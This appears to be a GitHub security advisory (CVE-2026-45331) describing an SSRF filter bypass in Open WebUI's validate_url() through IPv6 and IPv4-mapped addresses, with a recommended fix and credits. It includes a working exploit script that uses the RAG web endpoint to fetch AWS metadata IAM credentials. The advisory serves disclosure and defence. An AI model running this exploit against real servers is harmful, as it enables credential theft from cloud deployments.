Skip to content

Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature

High severity GitHub Reviewed Published May 9, 2026 in open-webui/open-webui • Updated May 15, 2026

Package

pip open-webui (pip)

Affected versions

<= 0.8.12

Patched versions

0.9.0

Description

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

  • Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
  • DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
  • urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
  • Playwright loader redirect: GHSA-jrfp-m64g-pcwv
  • Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

  • Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
  • wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

References

@doge-woof doge-woof published to open-webui/open-webui May 9, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Published by the National Vulnerability Database May 15, 2026
Last updated May 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-45331

GHSA ID

GHSA-4v7r-f4w8-8972

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.